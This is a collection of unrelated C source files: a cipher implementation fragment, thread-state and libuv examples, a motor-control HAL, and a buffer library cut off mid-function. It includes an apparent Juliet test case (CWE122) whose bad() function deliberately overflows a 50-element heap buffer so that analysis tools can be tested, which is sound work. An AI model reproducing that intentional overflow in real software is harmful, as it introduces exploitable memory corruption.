*(state+(0)) = *(block+(0)) + ((x&0xff0000)>>8) // *(state+(1)) = *(block+(2)); + ((x&0xff00000000)>>16) // *(state+(2)) = *(block+(4)); + ((x&0xff000000000000)>>24) // *(state+(3)) = *(block+(6)); + ((x&0xff00)<<24) // *(state+(4)) = *(block+(1)); + ((x&0xff000000)<<16) // *(state+(5)) = *(block+(3)); + ((x&0xff0000000000)<<8) // *(state+(6)) = *(block+(5)); + ((x&0xff00000000000000)<<0); // *(state+(7)) = *(block+(7)) /* *(state+(0)) = *(block+(0)); *(state+(1)) = *(block+(2)); *(state+(2)) = *(block+(4)); *(state+(3)) = *(block+(6)); *(state+(4)) = *(block+(1)); *(state+(5)) = *(block+(3)); *(state+(6)) = *(block+(5)); *(state+(7)) = *(block+(7)); */ *(((crypto_uint64 *) block)+0) = *(((crypto_uint64 *) state)+0); break; #if BLOCKSIZE >= 16 case 16: x = *(((crypto_uint64 *) block)+0); *(((crypto_uint64 *) state)+0) = ((x&0xff)>>0) + ((x&0xff0000)>>8) + ((x&0xff00000000)>>16) + ((x&0xff000000000000)>>24); *(((crypto_uint64 *) state)+1) = ((x&0xff00)>>8) + ((x&0xff000000)>>16) + ((x&0xff0000000000)>>24) + ((x&0xff00000000000000)>>32); /* *(state+(0*8+0)) = *(block+(0+0)); *(state+(0*8+1)) = *(block+(0+2)); *(state+(0*8+2)) = *(block+(0+4)); *(state+(0*8+3)) = *(block+(0+6)); *(state+(1*8+0)) = *(block+(0+1)); *(state+(1*8+1)) = *(block+(0+3)); *(state+(1*8+2)) = *(block+(0+5)); *(state+(1*8+3)) = *(block+(0+7)); */ x = *(((crypto_uint64 *) block)+1); *(((crypto_uint64 *) state)+0) += ((x&0xff)<<32) + ((x&0xff0000)<<24) + ((x&0xff00000000)<<16) + ((x&0xff000000000000)<<8); *(((crypto_uint64 *) state)+1) += ((x&0xff00)<<24) + ((x&0xff000000)<<16) + ((x&0xff0000000000)<<8) + ((x&0xff00000000000000)<<0); /* *(state+(0*8+4)) = *(block+(8+0)); *(state+(0*8+5)) = *(block+(8+2)); *(state+(0*8+6)) = *(block+(8+4)); *(state+(0*8+7)) = *(block+(8+6)); *(state+(1*8+4)) = *(block+(8+1)); *(state+(1*8+5)) = *(block+(8+3)); *(state+(1*8+6)) = *(block+(8+5)); *(state+(1*8+7)) = *(block+(9+7)); */ *(((crypto_uint64 *) block)+0) = *(((crypto_uint64 *) state)+0); *(((crypto_uint64 *) block)+1) = *(((crypto_uint64 *) state)+1); break; #endif #if BLOCKSIZE >= 32 case 32: x = *(((crypto_uint64 *) block)+0); *(((crypto_uint64 *) state)+0) = ((x&0xff)>>0) + ((x&0xff0000)>>8) + ((x&0xff00000000)>>16) + ((x&0xff000000000000)>>24); *(((crypto_uint64 *) state)+2) = ((x&0xff00)>>8) + ((x&0xff000000)>>16) + ((x&0xff0000000000)>>24) + ((x&0xff00000000000000)>>32); /* *(state+(00+0)) = *(block+(00+0)); *(state+(00+1)) = *(block+(00+2)); *(state+(00+2)) = *(block+(00+4)); *(state+(00+3)) = *(block+(00+6)); *(state+(16+0)) = *(block+(00+1)); *(state+(16+1)) = *(block+(00+3)); *(state+(16+2)) = *(block+(00+5)); *(state+(16+3)) = *(block+(00+7)); */ x = *(((crypto_uint64 *) block)+1); *(((crypto_uint64 *) state)+0) += ((x&0xff)<<32) + ((x&0xff0000)<<24) + ((x&0xff00000000)<<16) + ((x&0xff000000000000)<<8); *(((crypto_uint64 *) state)+2) += ((x&0xff00)<<24) + ((x&0xff000000)<<16) + ((x&0xff0000000000)<<8) + ((x&0xff00000000000000)<<0); /* *(state+(00+4)) = *(block+(08+0)); *(state+(00+5)) = *(block+(08+2)); *(state+(00+6)) = *(block+(08+4)); *(state+(00+7)) = *(block+(08+6)); *(state+(16+4)) = *(block+(08+1)); *(state+(16+5)) = *(block+(08+3)); *(state+(16+6)) = *(block+(08+5)); *(state+(16+7)) = *(block+(08+7)); */ x = *(((crypto_uint64 *) block)+2); *(((crypto_uint64 *) state)+1) = ((x&0xff)>>0) + ((x&0xff0000)>>8) + ((x&0xff00000000)>>16) + ((x&0xff000000000000)>>24); *(((crypto_uint64 *) state)+3) = ((x&0xff00)>>8) + ((x&0xff000000)>>16) + ((x&0xff0000000000)>>24) + ((x&0xff00000000000000)>>32); /* *(state+(08+0)) = *(block+(16+0)); *(state+(08+1)) = *(block+(16+2)); *(state+(08+2)) = *(block+(16+4)); *(state+(08+3)) = *(block+(16+6)); *(state+(24+0)) = *(block+(16+1)); *(state+(24+1)) = *(block+(16+3)); *(state+(24+2)) = *(block+(16+5)); *(state+(24+3)) = *(block+(16+7)); */ x = *(((crypto_uint64 *) block)+3); *(((crypto_uint64 *) state)+1) += ((x&0xff)<<32) + ((x&0xff0000)<<24) + ((x&0xff00000000)<<16) + ((x&0xff000000000000)<<8); *(((crypto_uint64 *) state)+3) += ((x&0xff00)<<24) + ((x&0xff000000)<<16) + ((x&0xff0000000000)<<8) + ((x&0xff00000000000000)<<0); /* *(state+(08+4)) = *(block+(24+0)); *(state+(08+5)) = *(block+(24+2)); *(state+(08+6)) = *(block+(24+4)); *(state+(08+7)) = *(block+(24+6)); *(state+(24+4)) = *(block+(24+1)); *(state+(24+5)) = *(block+(24+3)); *(state+(24+6)) = *(block+(24+5)); *(state+(24+7)) = *(block+(24+7)); */ *(((crypto_uint64 *) block)+0) = *(((crypto_uint64 *) state)+0); *(((crypto_uint64 *) block)+1) = *(((crypto_uint64 *) state)+1); *(((crypto_uint64 *) block)+2) = *(((crypto_uint64 *) state)+2); *(((crypto_uint64 *) block)+3) = *(((crypto_uint64 *) state)+3); break; #endif } return; } inline void dirPFK( unsigned char * block, unsigned blocklen, unsigned char *key_pfk, unsigned nRounds, unsigned char * state ) { unsigned n = 0; // block XOR first half key_pfk switch(blocklen) { case 8: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+0); break; #if BLOCKSIZE >= 16 case 16: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+0); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+1); break; #endif #if BLOCKSIZE >= 32 case 32: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+0); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+1); *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *)key_pfk)+2); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *)key_pfk)+3); break; #endif } for( n=0; n<nRounds; n++ ) { // Shuffle Layer dirShuffleLayer( block, blocklen, state ); // Mix Quarters Layer dirMixQuartersLayer( block, blocklen, state ); // SBox Layer dirSBoxLayer(block,blocklen); } // block XOR second half key_pfk switch(blocklen) { case 8: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+1); break; #if BLOCKSIZE >= 16 case 16: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+2); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+3); break; #endif #if BLOCKSIZE >= 32 case 32: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+4); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+5); *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *)key_pfk)+6); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *)key_pfk)+7); break; #endif } return; }; inline void invPFK( unsigned char * block, unsigned blocklen, unsigned char *key_pfk, unsigned nRounds, unsigned char * state ) { unsigned n = 0; // block XOR second half key_pfk switch(blocklen) { case 8: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+1); break; #if BLOCKSIZE >= 16 case 16: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+2); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+3); break; #endif #if BLOCKSIZE >= 32 case 32: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+4); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+5); *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *)key_pfk)+6); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *)key_pfk)+7); break; #endif } for( n=0; n<nRounds; n++ ) { // Inv SBox Layer invSBoxLayer(block,blocklen); // Mix Quarters Layer dirMixQuartersLayer( block, blocklen, state ); // Inv Shuffle Layer invShuffleLayer( block, blocklen, state ); } // block XOR first half key_pfk switch(blocklen) { case 8: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+0); break; #if BLOCKSIZE >= 16 case 16: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+0); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+1); break; #endif #if BLOCKSIZE >= 32 case 32: *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *)key_pfk)+0); *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *)key_pfk)+1); *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *)key_pfk)+2); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *)key_pfk)+3); break; #endif } return; }; void padBlock( unsigned char * block, unsigned blocklen, unsigned nBytes ) { *(block+blocklen) = 0x80; blocklen++; while(blocklen<nBytes) { *(block+blocklen) = 0x00; blocklen++; } // if(blocklen<nBytes) // memset(block+blocklen,0x00,nBytes-blocklen); return; }; unsigned unpadBlock( unsigned char * block, unsigned blocklen ) { while(blocklen>0) { blocklen--; if( *(block+blocklen) == 0x80 ) return blocklen; } return 0; }; void sumAD( struct FlexAEADv1 * self, unsigned char * ADblock, unsigned doublePFK ) { //memcpy( (*self).sn, (*self).counter, (*self).nBytes); #if BLOCKSIZE == 32 *(((crypto_uint64 *) (*self).sn)+3) = *(((crypto_uint64 *) ADblock)+3); *(((crypto_uint64 *) (*self).sn)+2) = *(((crypto_uint64 *) ADblock)+2); #endif #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (*self).sn)+1) = *(((crypto_uint64 *) ADblock)+1); #endif *(((crypto_uint64 *) (*self).sn)+0) = *(((crypto_uint64 *) ADblock)+0); // dirPFK1 dirPFK( (*self).sn, (*self).nBytes, ((*self).subkeys + SUBKEY1), (*self).nRounds, (*self).state ); if(doublePFK) { dirPFK( (*self).sn, (*self).nBytes, ((*self).subkeys + SUBKEY1), (*self).nRounds, (*self).state ); } // XOR block+sn -> block *(((crypto_uint64 *) (*self).sn)+0) ^= *(((crypto_uint64 *) (*self).counter)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (*self).sn)+1) ^= *(((crypto_uint64 *) (*self).counter)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) (*self).sn)+2) ^= *(((crypto_uint64 *) (*self).counter)+2); *(((crypto_uint64 *) (*self).sn)+3) ^= *(((crypto_uint64 *) (*self).counter)+3); #endif // dir SBox Layer dirSBoxLayer((*self).sn,(*self).nBytes); // XOR block+checksum -> checksum *(((crypto_uint64 *) (*self).checksum)+0) ^= *(((crypto_uint64 *) (*self).sn)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (*self).checksum)+1) ^= *(((crypto_uint64 *) (*self).sn)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) (*self).checksum)+2) ^= *(((crypto_uint64 *) (*self).sn)+2); *(((crypto_uint64 *) (*self).checksum)+3) ^= *(((crypto_uint64 *) (*self).sn)+3); #endif return; }; void encryptBlock( struct FlexAEADv1 * self, unsigned char * block ) { // dirPFK1 dirPFK( block, (*self).nBytes, ((*self).subkeys + SUBKEY1), (*self).nRounds, (*self).state ); // XOR block+sn -> block *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *) (*self).counter)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *) (*self).counter)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *) (*self).counter)+2); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *) (*self).counter)+3); #endif // dir SBox Layer dirSBoxLayer(block,(*self).nBytes); // XOR block+checksum -> checksum *(((crypto_uint64 *) (*self).checksum)+0) ^= *(((crypto_uint64 *) block)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (*self).checksum)+1) ^= *(((crypto_uint64 *) block)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) (*self).checksum)+2) ^= *(((crypto_uint64 *) block)+2); *(((crypto_uint64 *) (*self).checksum)+3) ^= *(((crypto_uint64 *) block)+3); #endif // dir SBox Layer dirSBoxLayer(block,(*self).nBytes); // XOR block+sn -> block *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *) (*self).counter)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *) (*self).counter)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *) (*self).counter)+2); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *) (*self).counter)+3); #endif // dirPFK0 dirPFK( block, (*self).nBytes, ((*self).subkeys + SUBKEY0), (*self).nRounds, (*self).state ); return; }; void decryptBlock( struct FlexAEADv1 * self, unsigned char * block ) { // invPFK0 invPFK( block, (*self).nBytes, ((*self).subkeys + SUBKEY0), (*self).nRounds, (*self).state ); // XOR block+sn -> block *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *) (*self).counter)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *) (*self).counter)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *) (*self).counter)+2); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *) (*self).counter)+3); #endif // Inv SBox Layer invSBoxLayer(block,(*self).nBytes); // XOR block+checksum -> checksum *(((crypto_uint64 *) (*self).checksum)+0) ^= *(((crypto_uint64 *) block)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (*self).checksum)+1) ^= *(((crypto_uint64 *) block)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) (*self).checksum)+2) ^= *(((crypto_uint64 *) block)+2); *(((crypto_uint64 *) (*self).checksum)+3) ^= *(((crypto_uint64 *) block)+3); #endif // Inv SBox Layer invSBoxLayer(block,(*self).nBytes); // XOR block+sn -> block *(((crypto_uint64 *) block)+0) ^= *(((crypto_uint64 *) (*self).counter)+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) block)+1) ^= *(((crypto_uint64 *) (*self).counter)+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) block)+2) ^= *(((crypto_uint64 *) (*self).counter)+2); *(((crypto_uint64 *) block)+3) ^= *(((crypto_uint64 *) (*self).counter)+3); #endif // invPFK1 invPFK( block, (*self).nBytes, ((*self).subkeys + SUBKEY1), (*self).nRounds, (*self).state ); return; };
856464.c
/****************************************************************************** * ptst.c * * Per-thread state management. Essentially the state management parts * of MB's garbage-collection code have been pulled out and placed * here, for the use of other utility routines. * * Copyright (c) 2013, Jonatan Linden * Copyright (c) 2002-2003, K A Fraser * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * * The name of the author may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "random.h" #include "portable_defns.h" #include "ptst.h" ptst_t *ptst_list = NULL; extern __thread ptst_t *ptst; static unsigned int next_id = 0; void critical_enter() { ptst_t *next, *new_next; if ( ptst == NULL ) { ptst = (ptst_t *) ALIGNED_ALLOC(sizeof(ptst_t)); if ( ptst == NULL ) exit(1); memset(ptst, 0, sizeof(ptst_t)); ptst->gc = gc_init(); ptst->count = 1; ptst->id = __sync_fetch_and_add(&next_id, 1); rand_init(ptst); new_next = ptst_list; do { ptst->next = next = new_next; } while ( (new_next = __sync_val_compare_and_swap(&ptst_list, next, ptst)) != next ); } gc_enter(ptst); return; } static void ptst_destructor(ptst_t *ptst) { ptst->count = 0; }
762480.c
#include <stdio.h> #include <uv.h> int64_t counter = 0; void wait_for_a_wile(uv_idle_t* handle) { counter++; if(counter >= 10e6) uv_idle_stop(handle); } int main() { uv_idle_t idler; uv_idle_init(uv_default_loop(), &idler); uv_idle_start(&idler, wait_for_a_wile); printf("Idling...\n"); uv_run(uv_default_loop(), UV_RUN_DEFAULT); uv_loop_close(uv_default_loop()); return 0; }
978357.c
#include "hal.h" #include "hw.h" #include "log.h" #include "settings.h" int8_t dirs[NUM_J]; int64_t usteps[NUM_J]; int16_t rates[NUM_J]; uint32_t hal_micros() { return hw_micros(); } void hal_init() { for (int i = 0; i < NUM_J; i++) { usteps[i] = 0; dirs[i] = 1; rates[i] = 0; } } uint32_t last_sync_usec = 0; void syncSteps() { uint32_t now = hw_micros(); if (now < last_sync_usec) { // Rollover // TODO handle this better last_sync_usec = now; return; } for (int i = 0; i < NUM_J; i++) { usteps[i] += (dirs[i] * rates[i] * (now - last_sync_usec)); } last_sync_usec = now; } void hal_setStepRate(uint8_t j, int16_t rate) { // TODO set direction GPIO syncSteps(); hw_set_dir_and_pwm(j, rate); } uint8_t hal_readLimits() { return hw_limits_read(); } int16_t hal_readEnc(uint8_t j) { return hw_enc_read(j); } int32_t hal_readSteps(uint8_t j) { syncSteps(); return usteps[j]/1000000; }
185530.c
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE122_Heap_Based_Buffer_Overflow__c_CWE805_wchar_t_loop_10.c Label Definition File: CWE122_Heap_Based_Buffer_Overflow__c_CWE805.string.label.xml Template File: sources-sink-10.tmpl.c */ /* * @description * CWE: 122 Heap Based Buffer Overflow * BadSource: Allocate using malloc() and set data pointer to a small buffer * GoodSource: Allocate using malloc() and set data pointer to a large buffer * Sink: loop * BadSink : Copy string to data using a loop * Flow Variant: 10 Control flow: if(globalTrue) and if(globalFalse) * * */ #include "std_testcase.h" #include <wchar.h> #ifndef OMITBAD void CWE122_Heap_Based_Buffer_Overflow__c_CWE805_wchar_t_loop_10_bad() { wchar_t * data; data = NULL; if(globalTrue) { /* FLAW: Allocate and point data to a small buffer that is smaller than the large buffer used in the sinks */ data = (wchar_t *)malloc(50*sizeof(wchar_t)); if (data == NULL) {exit(-1);} data[0] = L'\0'; /* null terminate */ } { size_t i; wchar_t source[100]; wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than data */ for (i = 0; i < 100; i++) { data[i] = source[i]; } data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ printWLine(data); free(data); } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B1() - use goodsource and badsink by changing the globalTrue to globalFalse */ static void goodG2B1() { wchar_t * data; data = NULL; if(globalFalse) { /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ printLine("Benign, fixed string"); } else { /* FIX: Allocate and point data to a large buffer that is at least as large as the large buffer used in the sink */ data = (wchar_t *)malloc(100*sizeof(wchar_t)); if (data == NULL) {exit(-1);} data[0] = L'\0'; /* null terminate */ } { size_t i; wchar_t source[100]; wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than data */ for (i = 0; i < 100; i++) { data[i] = source[i]; } data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ printWLine(data); free(data); } } /* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */ static void goodG2B2() { wchar_t * data; data = NULL; if(globalTrue) { /* FIX: Allocate and point data to a large buffer that is at least as large as the large buffer used in the sink */ data = (wchar_t *)malloc(100*sizeof(wchar_t)); if (data == NULL) {exit(-1);} data[0] = L'\0'; /* null terminate */ } { size_t i; wchar_t source[100]; wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than data */ for (i = 0; i < 100; i++) { data[i] = source[i]; } data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ printWLine(data); free(data); } } void CWE122_Heap_Based_Buffer_Overflow__c_CWE805_wchar_t_loop_10_good() { goodG2B1(); goodG2B2(); } #endif /* OMITGOOD */ /* Below is the main(). It is only used when building this testcase on * its own for testing or for building a binary to use in testing binary * analysis tools. It is not used when compiling all the testcases as one * application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); CWE122_Heap_Based_Buffer_Overflow__c_CWE805_wchar_t_loop_10_good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); CWE122_Heap_Based_Buffer_Overflow__c_CWE805_wchar_t_loop_10_bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
999599.c
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <assert.h> #include <ctype.h> #include "buffer.h" static const char hex_chars[] = "0123456789abcdef"; /** * init the buffer * */ buffer* buffer_init(void) { buffer *b; b = malloc(sizeof(*b)); assert(b); b->ptr = NULL; b->size = 0; b->used = 0; return b; } buffer *buffer_init_buffer(buffer *src) { buffer *b = buffer_init(); buffer_copy_string_buffer(b, src); return b; } /** * free the buffer * */ void buffer_free(buffer *b) { if (!b) return; free(b->ptr); free(b); } void buffer_reset(buffer *b) { if (!b) return; /* limit don't reuse buffer larger than ... bytes */ if (b->size > BUFFER_MAX_REUSE_SIZE) { free(b->ptr); b->ptr = NULL; b->size = 0; } else if (b->size) { b->ptr[0] = '\0'; } b->used = 0; } /** * * allocate (if neccessary) enough space for 'size' bytes and * set the 'used' counter to 0 * */ #define BUFFER_PIECE_SIZE 64 int buffer_prepare_copy(buffer *b, size_t size) { if (!b) return -1; if ((0 == b->size) || (size > b->size)) { if (b->size) free(b->ptr); b->size = size; /* always allocate a multiply of BUFFER_PIECE_SIZE */ b->size += BUFFER_PIECE_SIZE - (b->size % BUFFER_PIECE_SIZE); b->ptr = malloc(b->size); assert(b->ptr); } b->used = 0; return 0; } /** * * increase the internal buffer (if neccessary) to append another 'size' byte * ->used isn't changed * */ int buffer_prepare_append(buffer *b, size_t size) { if (!b) return -1; if (0 == b->size) { b->size = size; /* always allocate a multiply of BUFFER_PIECE_SIZE */ b->size += BUFFER_PIECE_SIZE - (b->size % BUFFER_PIECE_SIZE); b->ptr = malloc(b->size); b->used = 0; assert(b->ptr); } else if (b->used + size > b->size) { b->size += size; /* always allocate a multiply of BUFFER_PIECE_SIZE */ b->size += BUFFER_PIECE_SIZE - (b->size % BUFFER_PIECE_SIZE); b->ptr = realloc(b->ptr, b->size); assert(b->ptr); } return 0; } int buffer_copy_string(buffer *b, const char *s) { size_t s_len; if (!s || !b) return -1; s_len = strlen(s) + 1; buffer_prepare_copy(b, s_len); memcpy(b->ptr, s, s_len); b->used = s_len; return 0; } int buffer_copy_string_len(buffer *b, const char *s, size_t s_len) { if (!s || !b) return -1; #if 0 /* removed optimization as we have to keep the empty string * in some cases for the config handling * * url.access-deny = ( "" ) */ if (s_len == 0) return 0; #endif buffer_prepare_copy(b, s_len + 1); memcpy(b->ptr, s, s_len); b->ptr[s_len] = '\0'; b->used = s_len + 1; return 0; } int buffer_copy_string_buffer(buffer *b, const buffer *src) { if (!src) return -1; if (src->used == 0) { b->used = 0; return 0; } return buffer_copy_string_len(b, src->ptr, src->used - 1); } int buffer_append_string(buffer *b, const char *s) { size_t s_len; if (!s || !b) return -1; s_len = strlen(s); buffer_prepare_append(b, s_len + 1); if (b->used == 0) b->used++; memcpy(b->ptr + b->used - 1, s, s_len + 1); b->used += s_len; return 0; } int buffer_append_string_rfill(buffer *b, const char *s, size_t maxlen) { size_t s_len; if (!s || !b) return -1; s_len = strlen(s); buffer_prepare_append(b, maxlen + 1); if (b->used == 0) b->used++; memcpy(b->ptr + b->used - 1, s, s_len); if (maxlen > s_len) { memset(b->ptr + b->used - 1 + s_len, ' ', maxlen - s_len); } b->used += maxlen; b->ptr[b->used - 1] = '\0'; return 0; } /** * append a string to the end of the buffer * * the resulting buffer is terminated with a '\0' * s is treated as a un-terminated string (a \0 is handled a normal character) * * @param b a buffer * @param s the string * @param s_len size of the string (without the terminating \0) */ int buffer_append_string_len(buffer *b, const char *s, size_t s_len) { if (!s || !b) return -1; if (s_len == 0) return 0; buffer_prepare_append(b, s_len + 1); if (b->used == 0) b->used++; memcpy(b->ptr + b->used - 1, s, s_len); b->used += s_len; b->ptr[b->used - 1] = '\0'; return 0; } int buffer_append_string_buffer(buffer *b, const buffer *src) { if (!src) return -1; if (src->used == 0) return 0; return buffer_append_string_len(b, src->ptr, src->used - 1); } int buffer_append_memory(buffer *b, const char *s, size_t s_len) { if (!s || !b) return -1; if (s_len == 0) return 0; buffer_prepare_append(b, s_len); memcpy(b->ptr + b->used, s, s_len); b->used += s_len; return 0; } int buffer_copy_memory(buffer *b, const char *s, size_t s_len) { if (!s || !b) return -1; b->used = 0; return buffer_append_memory(b, s, s_len); } int buffer_append_long_hex(buffer *b, unsigned long value) { char *buf; int shift = 0; unsigned long copy = value; while (copy) { copy >>= 4; shift++; } if (shift == 0) shift++; if (shift & 0x01) shift++; buffer_prepare_append(b, shift + 1); if (b->used == 0) b->used++; buf = b->ptr + (b->used - 1); b->used += shift; shift <<= 2; while (shift > 0) { shift -= 4; *(buf++) = hex_chars[(value >> shift) & 0x0F]; } *buf = '\0'; return 0; } int LI_ltostr(char *buf, long val) { char swap; char *end; int len = 1; if (val < 0) { len++; *(buf++) = '-'; val = -val; } end = buf; while (val > 9) { *(end++) = '0' + (val % 10); val = val / 10; } *(end) = '0' + val; *(end + 1) = '\0'; len += end - buf; while (buf < end) { swap = *end; *end = *buf; *buf = swap; buf++; end--; } return len; } int buffer_append_long(buffer *b, long val) { if (!b) return -1; buffer_prepare_append(b, 32); if (b->used == 0) b->used++; b->used += LI_ltostr(b->ptr + (b->used - 1), val); return 0; } int buffer_copy_long(buffer *b, long val) { if (!b) return -1; b->used = 0; return buffer_append_long(b, val); } #if !defined(SIZEOF_LONG) || (SIZEOF_LONG != SIZEOF_OFF_T) int buffer_append_off_t(buffer *b, off_t val) { char swap; char *end; char *start; int len = 1; if (!b) return -1; buffer_prepare_append(b, 32); if (b->used == 0) b->used++; start = b->ptr + (b->used - 1); if (val < 0) { len++; *(start++) = '-'; val = -val; } end = start; while (val > 9) { *(end++) = '0' + (val % 10); val = val / 10; } *(end) = '0' + val; *(end + 1) = '\0'; len += end - start; while (start < end) { swap = *end; *end = *start; *start = swap; start++; end--; } b->used += len; return 0; } int buffer_copy_off_t(buffer *b, off_t val) { if (!b) return -1; b->used = 0; return buffer_append_off_t(b, val); } #endif /* !defined(SIZEOF_LONG) || (SIZEOF_LONG != SIZEOF_OFF_T) */ char int2hex(char c) { return hex_chars[(c & 0x0F)]; } /* converts hex char (0-9, A-Z, a-z) to decimal. * returns 0xFF on invalid input. */ char hex2int(unsigned char hex) { hex = hex - '0'; if (hex > 9) { hex = (hex + '0' - 1) | 0x20; hex = hex - 'a' + 11; } if (hex > 15) hex = 0xFF; return hex; } /** * init the buffer * */ buffer_array* buffer_array_init(void) { buffer_array *b; b = malloc(sizeof(*b)); assert(b); b->ptr = NULL; b->size = 0; b->used = 0; return b; } void buffer_array_reset(buffer_array *b) { size_t i; if (!b) return; /* if they are too large, reduce them */ for (i = 0; i < b->used; i++) { buffer_reset(b->ptr[i]); } b->used = 0; } /** * free the buffer_array * */ void buffer_array_free(buffer_array *b) { size_t i; if (!b) return; for (i = 0; i < b->size; i++) { if (b->ptr[i]) buffer_free(b->ptr[i]); } free(b->ptr); free(b); } buffer *buffer_array_append_get_buffer(buffer_array *b) { size_t i; if (b->size == 0) { b->size = 16; b->ptr = malloc(sizeof(*b->ptr) * b->size); assert(b->ptr); for (i = 0; i < b->size; i++) { b->ptr[i] = NULL; } } else if (b->size == b->used) { b->size += 16; b->ptr = realloc(b->ptr, sizeof(*b->ptr) * b->size); assert(b->ptr); for (i = b->used; i < b->size; i++) { b->ptr[i] = NULL; } } if (b->ptr[b->used] == NULL) { b->ptr[b->used] 